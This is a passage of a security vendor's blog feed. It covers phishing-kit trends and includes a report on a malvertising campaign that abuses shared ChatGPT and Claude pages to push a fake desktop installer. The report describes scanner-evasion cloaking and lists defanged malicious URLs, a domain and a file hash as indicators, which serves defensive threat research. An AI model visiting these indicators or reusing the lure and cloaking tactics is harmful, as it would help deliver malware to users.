reuse patterns that blocklists depend on.</p><p>Attackers can <a href="https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline/">vibe-code entire phishing pages in minutes</a> — not just cloning legitimate login pages but vibe-cloning them, feeding an AI a screenshot and having it rebuild a convincing frontend with a completely unique backend. </p><p>We&#39;ve seen attackers clone free SaaS tools like background removers and PDF converters, then inject phishing components or ClickFix payloads into what looks like a functional utility. We’ve even seen attackers distributing malware using AI-generated pages shared using <a href="https://pushsecurity.com/blog/llmshare-malvertising-campaign/"><u>LLM tool sharing functionality</u></a>, resulting in phishing delivery pages hosted on real claude.ai and chatgpt.com. And legitimate cloud platforms like <a href="https://www.huntress.com/blog/railway-paas-m365-token-replay-campaign">Railway</a>, Cloudflare Workers, and Vercel host and dynamically rotate attack infrastructure, so the domains feeding into blocklists often belong to reputable services that can&#39;t simply be blocked. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/soQtEPyX9aQUfby2Ylm7m/0bb772950b7e3598a343f1609a955ed4/image3.png" alt="LLMShare attack featuring a ChatGPT-designed page shared via malvertised sharing link."/><figcaption>LLMShare attack featuring a ChatGPT-designed page distributed via malvertised sharing link.</figcaption></figure><h2><b>The kit ecosystem is fragmenting faster than anyone can track</b></h2><p>What we see across our install base is a huge and growing variation in phishing kits — new kits, derivative kits of known platforms, derivatives of those derivatives — appearing on a weekly basis.</p><p>As we reported in our <a href="https://pushsecurity.com/thank-you/browser-attacks-report">Browser Attacks Report</a>, the most common AiTM kits we detected over the last year were Tycoon 2FA (59% of detections), followed by Sneaky 2FA, FlowerStorm, Evilginx (nominally a red team tool, but widely abused by attackers), NakedPages, Gabagool, and dozens more — but those established names are just the visible layer.</p><p>Code is forked, modified, and redeployed across kits in a pattern that <a href="https://blog.barracuda.com/2026/04/16/threat-spotlight-tycoon-2fa-scattered-everywhere">resembles open-source development</a> more than traditional criminal enterprise, and the rate at which new variants appear is accelerating. The <a href="https://pushsecurity.com/blog/device-code-phishing/">Venom kit</a> reuses Sneaky 2FA&#39;s AiTM infrastructure but carries different branding and adds device code phishing — whether it&#39;s the same developers, stolen code, or a deliberate fork is unclear.</p><p>Tycoon 2FA illustrates the scale of the evolution. The kit evolves continuously, addingnew capabilities, new evasion techniques, and hybridizing with other platforms. Even when Sekoia and Microsoft seized 330+ Tycoon domains in March 2026, the techniques it popularized were already embedded across competitors, and the slack was taken up by rival platforms within days. And in any case, Tycoon was back to <a href="https://www.crowdstrike.com/en-us/blog/tycoon2fa-phishing-as-a-service-platform-persists-following-takedown/">normal levels of operation</a> shortly after. It has also been observed <a href="https://www.okta.com/en-nl/blog/threat-intelligence/tycoon_2fa_phishing_actors_scatter/"><u>pivoting to add new device code phishing capabilities</u></a> (more on that below). </p><p>Tear one down and there are many more to take its place — and meanwhile the original is already evolving into something new.</p><h2><b>New techniques are being industrialized faster than ever</b></h2><p>As well as the fragmentation of existing kits, we’re seeing new techniques added at an accelerating rate. </p><p><b>Device code phishing</b> is the clearest case study. From early nation state adoption in 2024, it took until 2026 for criminal adoption to really take off, but the take-up this year is unprecedented. The EvilTokens kit packaged device code phishing into a PhaaS offering with GPT-powered spear-phishing and adaptive landing pages, hitting 340+ organizations across five countries in March 2026. </p><p>Now, device code functionality is now a core phish kit component. We’re tracking 18+ kits with device code phishing capabilities and a 37.5x increase in device code phishing detections this year alone, with the technique moving from state-sponsored exclusivity to something any PhaaS customer can rent.</p><p>Similarly, when we <a href="https://pushsecurity.com/blog/inside-criminal-phishing-panel">infiltrated Doko&#39;s Panel</a> — a <b>real-time vishing and AiTM platform</b> used by ShinyHunters and affiliated groups — the codebase was full of LLM-generated artifacts. Multiple groups were using the templated vishing panel and spinning up their own variants, but the AI-generated indicators persisted throughout. This approach to real-time vishing + browser payload has been a <a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach/"><u>mainstay of the Com affiliates like ShinyHunters this year</u></a>. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2XOX0xzOxsmBKUuQbup47x/a624c2141879f9238704167a35fdeb39/Screenshot_2026-05-07_at_12.53.27.png" alt="Verbose phishing kit comments (a clear sign of AI involvement)."/><figcaption>Verbose phishing kit comments (a clear sign of AI involvement).</figcaption></figure><p>The broader <b>ClickFix</b> family shows the same acceleration: First reported in early 2024 and adopted by four nation-state groups within a single quarter. Fast forward and <a href="https://www.crowdstrike.com/en-us/global-threat-report/"><u>CrowdStrike&#39;s data</u></a> shows a 563% increase in fake CAPTCHA incidents (one of the more common ClickFix lure types), while <a href="https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf"><u>Microsoft reported</u></a> it as making up 47% of observed attacks according to their Digital Defense Report.</p><p>And <b>ConsentFix</b> — a combination of ClickFix and OAuth consent phishing techniques — suggests the next compression is already underway. Push researchers <a href="https://pushsecurity.com/blog/consentfix/">discovered the technique</a> in December 2025 — a browser-native ClickFix variant hijacking OAuth consent grants via Azure CLI&#39;s localhost redirect. It was later confirmed to be tied to APT29. By January 2026, a <a href="https://pushsecurity.com/blog/consentfix-v3-analyzing-a-new-toolkit/">criminal ConsentFix v3 toolkit</a> had appeared on the XSS forum with Cloudflare Workers, ZoomInfo targeting, and automated exfiltration via Pipedream.</p><p>Six weeks is all it took for ConsentFix to go from nation-state technique to commoditized criminal toolkit — a compression that took device code phishing and ClickFix roughly a year. </p><hr/><h1><b>Why technique-level detection is the only layer that holds</b></h1><p>The middle of the Pyramid — tool signatures and artifacts — used to offer much more durable detection than infrastructure indicators. Fingerprinting a specific phishing kit by its JavaScript structure or HTML patterns provided a detection target that survived across dozens or hundreds of campaigns, even as the underlying domains rotated. Tool level detections are still better, but not by quite the same margin.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/5cUP2dETihxQgWzIN9dsyH/fcb093c7b88b7a48190f528c87dd3935/image2.png" alt="Tool-level detections aren't as resilient as they were, even if they remain a useful component of the overall detection strategy."/><figcaption>Tool-level detections aren't as resilient as they were, even if they remain a useful component of the overall detection strategy.</figcaption></figure><p>When the kit landscape was dominated by a handful of platforms, you could write signatures for Tycoon, Sneaky2FA, EvilProxy, and so on, and cover the lion&#39;s share of attacks. With the ecosystem now producing new variants and entirely new kits on a weekly basis, detecting by kit fingerprint starts to look uncomfortably similar to detecting by domain.</p><p>But many of these proliferating kits do share behavioral patterns at a deeper level than their code signatures. For example, every device code phishing kit implements fundamentally the same flow: present a lure, generate a device code via the OAuth Device Authorization endpoint, get the user to enter it on the legitimate authorization page, and poll for the resulting tokens. The frontends vary, the infrastructure varies, but the behavioral pattern doesn&#39;t.</p><p>If you build detections around a specific kit&#39;s JavaScript patterns, then you&#39;re in an arms race with the kit&#39;s developer. Build detections around the behavioral mechanics of the technique itself — how the page interacts with the authorization endpoint, the sequence of user actions it orchestrates, the redirect patterns — and you’re tracking something that changes at a much slower rate.</p><p>Genuinely new attack techniques still require human creativity — an attacker has to identify a gap in how a legitimate protocol or feature can be subverted. That kind of innovation hasn&#39;t been automated. But the window to discover a technique, build a detection, and then deploy it before it is adopted by criminals at scale is compressing with each generation.</p><p>Organizations that detect at the technique level and deploy before commoditization have a structural advantage that increases over time. Waiting for indicators — even tool-level indicators — means chasing a curve that&#39;s accelerating away from you. This is the challenge we grapple with every day as we strive for the most resilient detections possible. </p><blockquote><p>As our CPO Jacques Louw put it on <a href="https://risky.biz/RBNEWSSI128/">Risky Business</a>: <i>&quot;There&#39;s no list of bad domains anywhere in the product. It&#39;s a crutch — a false cheat code that stops you from doing the detection in the way that actually is resilient, because the next time you see it, it will be on a different domain.&quot;</i></p></blockquote><hr/><h1><b>What it takes to detect at the top of the Pyramid</b></h1><p>If technique-level detection is the only layer that holds, two things have to be true about your detection capability: You need the right vantage point, and you need the research velocity to stay ahead.</p><h2><b>You need the right vantage point</b></h2><p>Technique-level behaviors in browser-based identity attacks — how a phishing page orchestrates credential entry, how a device code flow presents its authorization prompt, how a ClickFix variant manipulates the clipboard — are visible in the browser session and nowhere else.</p><p>Network proxies see encrypted traffic and can attempt to reconstruct page behavior from metadata, but DOM manipulation, user interaction sequences, and script execution aren&#39;t visible from that vantage point. Email gateways see the delivery mechanism (or nothing at all in the increasing number of social media and search engine based attacks) but not the payload.</p><p>As we disclosed in our <a href="https://pushsecurity.com/thank-you/browser-attacks-report"><u>browser attacks report</u></a>, 95% of in-browser attacks we detect use some form of bot protection, often combined with conditional loading techniques like referrer and browser checks, reliably defeating automated analysis techniques. </p><p>Behavioral detection at the technique level requires observing what happens on the page at the moment the user interacts with it — analyzing pages, not links. When you see the entire browsing flow — ad click, redirect chain, page render, credential prompt — an attack stands out immediately. Without that context, any detection system is forced to fill in gaps, and the gaps are where attacks hide.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2OrpNtm3faEgGJpjUcmJ5q/275e5c84c72f43377131eb9071c9e2b4/image3.png" alt="Solving the &quot;Missing Middle&quot; with browser visibility and control."/><figcaption>Solving the &quot;Missing Middle&quot; with browser visibility and control.</figcaption></figure><p>Push sits inside the browser session, observing this in real time. Its detections target the behavioral mechanics of techniques rather than the surface characteristics of individual kits or infrastructure.</p><h2><b>You need the research expertise</b></h2><p>When the window between technique discovery and industrialized exploitation is measured in weeks rather than years, the detection pipeline needs to operate on that same compressed timescale.</p><p>This is where our <a href="https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline/">agentic threat hunting pipeline</a> fits. It&#39;s tripled our monthly detection output — not by generating bigger blocklists, but by scaling the process of discovering behavioral patterns across the telemetry generated by 3+ million browser deployments.</p><p>The detections it produces are technique-class by design, targeting how attacks work rather than the infrastructure or specific tool that implements them. The goal is curation, not accumulation — hundreds of high-fidelity behavioral detections rather than the billions of signatures and domain entries that traditional approaches require.</p><p>When we detected the first in-the-wild <a href="https://pushsecurity.com/blog/installfix/">InstallFix attack</a> through the pipeline — a user had searched for NotebookLM, clicked a paid Google ad, and was redirected to a fake page with a WebAssembly C2 connector — the detection shipped to all customers within minutes. It didn&#39;t depend on knowing the domain, the ad creative, or the specific kit. It depended on recognizing the technique itself.</p><hr/><h1><b>Technique-level detection is now the only option</b></h1><p>As a framework for detection durability, the Pyramid of Pain is more relevant than ever. </p><p>AI has made infrastructure indicators essentially disposable. The tools tier is compressing as criminal vendors vibe-code, fork, and clone tooling at machine speed. Technique-level detection is the layer that holds long-term to be able to proactively detect and block net-new attacks and the kits that power them. </p><p>Novel attack techniques still require human creativity to discover, and detections built around how those techniques work can survive infrastructure rotation, tool proliferation, and kit fragmentation. Defending that layer requires a vantage point inside the browser session and a research pipeline fast enough to stay ahead of the accelerating path from discovery to industrialization.</p><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.</p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p><a href="https://pushsecurity.com/demo"><u>Book a live demo</u></a> to learn more.</p>]]></content:encoded>
    </item>
    <item>
      <title>LLMShare: how attackers are turning AI chatbot pages into malware delivery platforms</title>
      <link>https://pushsecurity.com/blog/llmshare-malvertising-campaign</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/llmshare-malvertising-campaign</guid>
      <pubDate>Fri, 29 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Keanu Maharaj</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>How attackers are using shared content features on AI chatbot platforms to deliver malware via pages hosted on legitimate domains, sent via malvertising.</description>
      <content:encoded><![CDATA[<p>Shared conversations on AI chatbot platforms have become the latest delivery mechanism for malware campaigns targeting macOS and Windows users. Attackers create content on platforms like ChatGPT and Claude that appears to offer installation guidance or service updates, then drive traffic to it via search engine results in the form of malvertising and SEO poisoning.  </p><p>The content lives on chatgpt.com or claude.ai — domains that users and security tools trust implicitly — so the attack bypasses URL reputation checks before the victim even reaches the malicious payload.</p><p>Several variants of this technique have been <a href="https://www.bleepingcomputer.com/news/security/hackers-abuse-google-ads-claudeai-chats-to-push-mac-malware/">reported over the past few months</a>. The earliest examples used shared Claude.ai conversations disguised as installation guides — complete with fake &quot;Apple Support&quot; attribution — that walked users through opening a terminal and pasting a curl command that downloaded and executed an infostealer. <a href="https://www.kaspersky.com/blog/share-chatgpt-chat-clickfix-macos-amos-infostealer/54928/">Kaspersky documented a parallel campaign</a> using shared ChatGPT conversations to deliver the AMOS (Atomic macOS Stealer) via the same paste-this-command social engineering pattern. </p><p>Push has detected a new variant that goes beyond the previously reported technique of embedding terminal commands in shared conversations: the attacker has used ChatGPT&#39;s code rendering feature to build a fully designed fake page that mimics a ChatGPT service disruption, redirecting victims to a convincing clone of ChatGPT&#39;s download page that delivers a malicious executable. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7u7yyvyg3P9jepZi7iIwxf/d2c42d257d2e7ac4dfe28c37aa69a4b3/image4.png" alt="LLMShare pages side by side"/></figure><p>These are essentially InstallFix attacks — a variant of the ClickFix family that <a href="https://pushsecurity.com/blog/installfix/">Push documented earlier this year</a> — and they exploit the fact that AI tools have normalized command-line installation workflows for a population of users who lack the experience to distinguish a legitimate terminal command from a malicious one. </p><p><b>This is a live campaign which is still generating detections across our customer base at the time of writing. </b>Push customers are already protected and do not need to take further action. The malicious page URLs can be found at the end of this report but are not exhaustive and are liable to change. </p><hr/><h1><b>A fake page, not a fake conversation</b></h1><p>Previously reported variants relied on shared <i>conversations</i> — the attacker created a chat that contained step-by-step instructions for the victim to follow, typically involving pasting a command into their terminal. The social engineering was conversational: the &quot;AI assistant&quot; appeared to be helpfully guiding the user through an installation process.</p><p>But now, rather than a shared conversation, the attacker has used ChatGPT&#39;s code rendering feature to create a fully designed, self-contained web page hosted at a chatgpt.com/s/ URL. It renders as what appears to be a ChatGPT service disruption notice:</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/soQtEPyX9aQUfby2Ylm7m/0bb772950b7e3598a343f1609a955ed4/image3.png" alt="LLMShare error page"/><figcaption>The fake &quot;high traffic&quot; page rendered inside a ChatGPT shared content URL. Note the &quot;Show code&quot; and &quot;Remix with ChatGPT&quot; buttons at the top, which reveal that this is actually rendered HTML/CSS code rather than a real ChatGPT system page.</figcaption></figure><p>A professional-looking error message reads: &quot;We&#39;re experiencing high traffic right now. Our website is temporarily unavailable due to a large number of users. Download our desktop app to continue.&quot; A prominent download button sits below.</p><p>The &quot;Show code&quot; toggle at the top of the page reveals what&#39;s actually happening — the entire thing is custom HTML and CSS, authored to mimic a ChatGPT system notice, rendered using ChatGPT&#39;s code output feature. A web page inside a web page, hosted on a domain that every URL reputation system in the world considers safe.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/22IO2J68rUGy5ZzEAGfFIh/ff98ca14ed74de0c35e5154c43aa1524/image7.png" alt="LLMShare panel showing source code"/><figcaption>The same page with the code panel open, showing the HTML/CSS source code that generates the fake service disruption notice.</figcaption></figure><hr/><h1><b>The download page</b></h1><p>Clicking the download button redirects the user to openew[.]app, which presents a convincing clone of ChatGPT&#39;s official desktop application download page — complete with OpenAI branding, macOS and Windows download buttons, a Chrome extension link, and a mobile download section.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4woFKeexapLYHfpKfCzEbo/8b7fc45a933af8fea5f6bce97823e123/image2.png" alt="LLMShare page with download panel"/><figcaption>The fake ChatGPT download page hosted at openew[.]app. The design closely replicates OpenAI's legitimate download page.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3hHpXRmxJyRPs4y1SQbHMM/67e33342db5ecb1e3928bb8e1a56749a/image5.png" alt="Real ChatGPT download page for comparison at chatgpt.com/download."/><figcaption>Real ChatGPT download page for comparison chatgpt.com/download.</figcaption></figure><p>The site also displays differently depending on who visits it. When Push researchers examined the URL via URLScan, the scanner was redirected to a different page entirely — a generic AR/VR company website with no obvious connection to ChatGPT. </p><p>Real users in a browser see the fake download page; automated scanners and bots see something benign. This kind of conditional rendering is a well-established evasion technique in the malvertising ecosystem, and it makes the malicious infrastructure harder for security teams and threat intelligence services to identify and analyze.</p><p>The downloaded executable poses as &quot;ChatGPT for Desktop&quot; and is <a href="https://www.virustotal.com/gui/file/de8c50e8ccd240ef9d10ec26c26eeb37a4d1cad7c1e0edf3bb6e5689ec2dde78">flagged on VirusTotal</a>.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/apMKHaMjDF9GmoCO1gVHT/c25938faf56bb96b467469209470e40c/image1.png" alt="Alternative LLMShare page for bot visitors"/><figcaption>What URLScan sees when visiting the same openew[.]app URL: a generic &quot;Openew&quot; AR/VR company website with no trace of the ChatGPT impersonation.</figcaption></figure><hr/><h1><b>The Claude variant: same campaign, different platform</b></h1><p>Alongside the ChatGPT rendered-page variant, Push has also detected the previously reported style of attack using shared Claude.ai conversations. These follow the pattern documented by <a href="https://www.bleepingcomputer.com/news/security/hackers-abuse-google-ads-claudeai-chats-to-push-mac-malware/">BleepingComputer</a>: a shared chat disguised as a &quot;Claude Code on Mac&quot; installation guide, attributed to &quot;Apple Support,&quot; containing a curl command that downloads and executes malware.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2YLf3kEK2y2XjdyM1Q9uRT/6b5774de9708ff8544889305a094d991/image6.png" alt="A shared Claude.ai conversation containing malicious installation instructions in the style previously reported by BleepingComputer."/><figcaption>A shared Claude.ai conversation containing malicious installation instructions in the style previously reported by BleepingComputer.</figcaption></figure><p>The fact that both the ChatGPT and Claude variants are appearing in Push customer environments suggests a campaign — or at least a shared playbook — that is actively experimenting with different platforms and different social engineering approaches to find what converts best.</p><hr/><h1><b>Malvertising remains one of the top phishing delivery channels</b></h1><p>Push has detected this variant across multiple customer environments, with users arriving at these shared chat URLs after searching for terms including &quot;chatgpt,&quot; &quot;chatgpt free,&quot; &quot;chat gpt,&quot; and common typos like &quot;chatgo,&quot; &quot;chatgot,&quot; and &quot;cvhatgpt.&quot; </p><p>You can see an example of this below: it&#39;s incredibly convincing, and uses the real ChatGPT domain — so even users that are paying attention are liable to fall for it. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1aLEhiVJcLPIR4rXdzoCTv/d87eb30284e61ab813ccf9e662a1fbae/image.png" alt="LLMShare malvertising"/><figcaption>The LLMShare ad uses the legitimate ChatGPT domain and is the top result.</figcaption></figure><p>Although we managed to grab that example, the ads haven&#39;t been easy to reproduce. This is because the ads are likely geographically or temporally scoped. It’s pretty eye-opening (and creepy) how tightly scoped these kinds of sponsored ads can be across different platforms. </p><p>This is one of the key misconceptions people can have about this kind of attack. It’s easy to see it as untargeted, when realistically it can be scoped tightly to a desired victim population by role, geography, and so on. We’ve written about this previously in <a href="https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis/"><u>our blog</u></a> on the ad account takeover &gt; malvertising ecosystem. </p><p>This fits a pattern Push has tracked extensively. <a href="https://pushsecurity.com/blog/verizon-dbir-2026-review/">Search-based delivery is now the dominant channel for malware distribution</a> — our own data shows that ClickFix attacks are reached via search results rather than email in 4 of 5 cases, and Push&#39;s own research into <a href="https://pushsecurity.com/blog/analysing-a-sophisticated-google-malvertising-attack/">malvertising campaigns impersonating brands like TradingView</a> and <a href="https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs/"><u>Ahrefs</u></a> has demonstrated how effectively search ads can funnel victims to malicious pages. </p><p>The shared-chat technique adds a new dimension: the destination URL itself is genuine (chatgpt.com, claude.ai), which means even a cautious user who checks the URL before clicking will see nothing suspicious.</p><hr/><h1><b>Legitimate platform abuse is everywhere</b></h1><p>This is one example of a much broader pattern that has become one of the defining characteristics of the 2026 threat landscape: attackers systematically abusing legitimate platforms as attack infrastructure. The scale and variety of this abuse in recent months alone is striking, and it spans every stage of the phishing chain.</p><h2>Legit platform abuse for delivery</h2><p>On the delivery side, attackers have been <a href="https://www.bleepingcomputer.com/news/security/amazon-ses-increasingly-abused-in-phishing-to-evade-detection/">weaponizing stolen AWS credentials to send phishing through Amazon SES</a> that passes SPF, DKIM, and DMARC validation because SES is a legitimate Amazon service. A Vietnamese operation dubbed <a href="https://thehackernews.com/2026/05/30000-facebook-accounts-hacked-via.html">AccountDumpling used Google AppSheet&#39;s built-in email capability</a> as a phishing relay to harvest 30,000 Facebook credentials. <a href="https://techcrunch.com/2026/05/21/scammers-are-abusing-an-internal-microsoft-account-to-send-spam/">Scammers exploited Microsoft&#39;s own internal notification pipeline</a> — sending phishing from the same msonlineservicesteam@microsoftonline.com address that delivers legitimate 2FA codes — with Spamhaus confirming months of ongoing abuse.</p><h2>Legit platform abuse for hosting</h2><p>For hosting, the platforms being abused read like a who&#39;s who of modern web infrastructure. <a href="https://www.securityweek.com/over-500-organizations-hit-in-years-long-phishing-campaign/">Operation HookedWing ran for four years</a> on GitHub Pages and Vercel, compromising 500+ organizations across more than 100 GitHub Pages domains before anyone documented it publicly. Cofense has separately <a href="https://cofense.com/blog/steal-smarter-not-harder-malicious-use-of-vercel-for-credential-phishing/">documented the growing abuse of Vercel</a> for credential phishing hosting. Pixm&#39;s Q1 2026 phishing report tracked over 100 unique Azure Blob Storage subdomain variants hosting phishing content that carried Microsoft&#39;s own domain reputation, alongside abuse of Cloudflare CDN, Cloudflare Workers, Cloudflare R2, Backblaze B2, and Supabase. </p><h2>Abuse of compromised websites that are otherwise legit</h2><p>Compromised legitimate sites are also being repurposed at scale. A mass exploitation of a <a href="https://www.bleepingcomputer.com/news/security/ghost-cms-sql-injection-flaw-exploited-in-large-scale-clickfix-campaign/">Ghost CMS vulnerability planted ClickFix pages across 700+ websites</a> including Harvard, Oxford, and DuckDuckGo subdomains. Microsoft recently documented a campaign where <a href="https://www.microsoft.com/en-us/security/blog/2026/05/26/poisoned-search-results-gpu-mining-cryptojacking-campaign-abusing-screenconnect-microsoft-net-utilities/">SEO poisoning was combined with AI chatbot recommendation manipulation</a> to deliver GPU mining malware — extending the poisoning from traditional search results into AI-generated software recommendations. And <a href="https://www.helpnetsecurity.com/2026/05/27/deno-rat-malware-fake-chatgpt-claude-installers/">fake ChatGPT and Claude installers on GitHub and SourceForge</a> have been delivering the DinDoor backdoor and a Deno-based RAT via repositories that mimic legitimate developer tool distributions.</p><p>The structural problem is that every one of these platforms is genuinely legitimate, and the security controls that evaluate them — domain reputation, email authentication, URL categorization — confirm them as trusted because they are trusted. This attack extends this pattern into new territory by weaponizing the content-sharing features of AI chatbot platforms specifically, but the underlying principles are the same. </p><hr/><h1><b>Impact analysis</b></h1><p>Shared-chat malware delivery exploits a structural property of AI platforms that traditional security controls aren&#39;t designed to handle. Domain reputation, URL categorization, and safe browsing databases all treat chatgpt.com and claude.ai as trusted — because they are. Using these trusted pages to link off to further convincing-looking pages hosting malware allows the attacker to run campaigns that blend in, as well as rotate the phishing delivery pages later in the chain should they ever be flagged, allowing the campaign to continue without interruption (a well known <a href="https://phishing-techniques.pushsecurity.com/">detection evasion technique</a>). </p><p>What makes the rendered-page variant particularly concerning is that it eliminates the most obvious red flag in the earlier attacks. The Claude.ai conversation variants required the victim to recognize that a shared chat instructing them to paste terminal commands might be suspicious — a tall order for many users, but at least the attack surface was visible. The rendered-page variant shows nothing that looks like an attack. It presents what appears to be a routine service disruption with a reasonable call to action: download the desktop app to continue using ChatGPT. </p><h2><b>How Push detected the attack</b></h2><p>We&#39;ve aligned our detection logic for this technique under the name <b>LLMShare</b> — a technique-level detection that covers shared content abuse across LLM platforms, not tied to any single campaign or set of IOCs. </p><p>Because Push sees the full context of how a user arrived at a page and what that page does once it renders, we can identify LLMShare attacks regardless of which AI platform is being abused or what social engineering wrapper the attacker has chosen. </p><p>When we identified the initial instances of this campaign, we used our <a href="https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline/">agentic threat hunting pipeline</a> to hunt for additional examples across our customer telemetry, develop the LLMShare detection, and rapidly deploy it to customers. Push blocks users from interacting with the page before any malicious activity can occur. </p><p>Push customers do not need to take any further action.</p><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.</p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p><a href="https://pushsecurity.com/demo/"><u>Book a live demo to learn more.</u></a></p><hr/><h1><b>Indicators of compromise</b></h1><p>As we always say, short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to <a href="https://phishing-techniques.pushsecurity.com/techniques/domain-rotation-redirection/">quickly spin up and rotate the sites used</a> in the attack chain. IoC-based detections for campaigns like this are of limited value.</p><p>At the time of writing, the indicators observed were:</p><table><tr><th><p><b>Indicator</b></p></th><th><p><b>Type</b></p></th></tr><tr><td><p>hxxps://claude[.]ai/share/8e6401b5-4849-46c4-a3cb-29e1c3c49131</p></td><td><p>URL</p></td></tr><tr><td><p>hxxps://chatgpt[.]com/s/cb_6a0f1e6bbec88191aa7fede27163f08d</p></td><td><p>URL</p></td></tr><tr><td><p>openew[.]app</p></td><td><p>Domain</p></td></tr><tr><td><p>de8c50e8ccd240ef9d10ec26c26eeb37a4d1cad7c1e0edf3bb6e5689ec2dde78</p></td><td><p>SHA256</p></td></tr></table><p></p>]]></content:encoded>
    </item>
    <item>
      <title>How to make the business case for a browser security solution</title>
      <link>https://pushsecurity.com/blog/making-the-business-case-for-a-browser-security-solution</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/making-the-business-case-for-a-browser-security-solution</guid>
      <pubDate>Fri, 29 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Alex Henshall</dc:creator>
      <category>Browser security</category>
      <category>Risk management</category>
      <description>Browser security is one of the fastest-growing investment areas in enterprise security. Here's our proven framework to create budget for browser security tools.</description>
      <content:encoded><![CDATA[<p><a href="https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market/"><u>Omdia&#39;s 2026 research</u></a> found that 86% of organizations have already increased browser security spending in response to emerging threats, and 85% expect to spend more over the next 12–24 months. </p><p>But finding budget for browser security solutions can be harder than it is for other security tools. Both Gartner and Omdia independently confirm that browser security is predominantly additive; Gartner states explicitly that secure enterprise browsers augment rather than replace existing security controls, and Omdia found that 80% of organizations expect to deploy browser security alongside their current stack.</p><p>In practice, that means there&#39;s typically no legacy line item to redirect or renewal to swap out. Instead, security leaders are left needing to build a business case from scratch, creating more work on top of an already demanding role. Having a proven framework that other security leaders are already using successfully makes that process significantly faster.</p><p>Push helps security leaders build these business cases every day and we&#39;ve seen firsthand what works and where the budget comes from. </p><p>This article distills those patterns into a practical framework you can use to build your own investment case, as well as provides real-world examples of how Push&#39;s customers have found budget to make their own investments in browser security tooling:</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1TIwUkTfu8uJkxpF3vS8jS/e93b6ddfa432874452812c2566b5e031/business_case_framework_2x__4_.png" alt="business case framework"/></figure><hr/><h1><b>The strategic imperatives that resonate with non-security executives</b></h1><p>Two distinct strategic initiatives consistently prove to be effective in unlocking browser security budget. They come from different directions; one is driven by the board down to security, the other is driven by security up to the board. But both lead to the same investment and can be used in conjunction with one another.</p><h2>Option A | AI visibility and control: the mandate security teams are responding to</h2><p>AI adoption isn&#39;t a security initiative; it&#39;s a business strategy decision that executives and boards are driving. They know the organization needs to harness AI to remain competitive, and most have already committed to accelerating its use. But they also know that <a href="https://pushsecurity.com/blog/what-push-data-reveals-about-the-state-of-shadow-ai/">adoption without visibility creates risks they can&#39;t quantify or manage</a>, and they expect security to have the visibility and controls to close that gap.</p><p>The browser is the most practical place for security teams to get that visibility and control over AI usage. All AI tool usage — whether that&#39;s web apps, extensions, OAuth consent flows, data uploads — traverses the browser. A browser security platform like Push can <a href="https://pushsecurity.com/solution/achieve-security-outcomes/secure-ai">discover which AI tools employees are actually using</a>, monitor how they&#39;re being used, track which AI services have been granted access to corporate systems, and enforce policy in real time.</p><p>What makes this particularly effective in a budget conversation is that security teams don’t need to explain or sell a new security risk or initiative, instead they&#39;re responding to one their executive team has already identified. When security can demonstrate a concrete plan to deliver AI visibility and control, the funding conversation is significantly shorter. The investment addresses the executive mandate while simultaneously providing additional capabilities for the security team like threat protection, identity and shadow IT security, and investigation support.</p><h2>Option B | Modern breaches that originate in the browser: the gap the existing stack wasn&#39;t designed to cover</h2><p>The second strategic imperative requires more educating on the part of the security leader.</p><p>The highest-profile breaches in recent years — MGM, Caesars, Ticketmaster, M&amp;S, Jaguar Land Rover — were all carried out by threat groups like <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/">Scattered Spider</a> using cloud-native, <a href="https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/">identity-based attack techniques</a>. They didn&#39;t compromise endpoints or exploit zero-day vulnerabilities. Instead, they compromised employees&#39; cloud app accounts by targeting them with techniques that <a href="https://pushsecurity.com/thank-you/browser-attacks-report">play out inside browser sessions</a> where existing endpoint, network, and email controls have no visibility.</p><p>That doesn&#39;t mean your existing security investments are failing. Endpoint, network, and email controls have become effective enough that threat groups are now actively avoiding them by rerouting their attacks via the browser.</p><ul><li><p><a 